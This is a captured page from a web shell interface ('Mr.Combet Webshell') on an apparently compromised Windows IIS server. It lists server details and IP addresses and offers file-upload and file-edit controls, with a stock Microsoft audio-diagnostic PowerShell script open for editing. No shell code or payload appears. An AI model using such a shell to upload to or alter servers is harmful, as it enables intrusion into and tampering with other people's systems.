Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
Windows
/
diagnostics
/
system
/
Audio
/
Edit File Name :
TS_SamplingRate.ps1
# Copyright © 2015, Microsoft Corporation. All rights reserved. # :: ======================================================= :: <# DESCRIPTION: RC_SamplingRate checks for audio sampling rate is set to default. ARGUMENTS: deviceID : String value of Audio device ID RETURNS: <&true> if root cause detected otherwise <$false> #> #==================================================================================== PARAM($deviceID) #==================================================================================== # Initialize #==================================================================================== $detected = $false #*================================================================================= # Load Utilities #*================================================================================= . .\CL_Utility.ps1 #================================================================================== # Main #================================================================================== [bool]$result = $true [bool]$detected = $false $audioSampleResetFormat = Get-AudioEndpoints if(-not([String]::IsNullOrEmpty($deviceID))) { # Verfiy whether current sampling rate of audio device try { $result = $audioSampleResetFormat::verifySamplingRate($deviceID) if($result) { $detected = $true } } catch [System.Exception] { Write-ExceptionTelemetry "MAIN" $_ } } Update-DiagRootCause -id "RC_SamplingRate" -Detected $detected -Parameter @{"deviceID" = $deviceID} return $detected
Save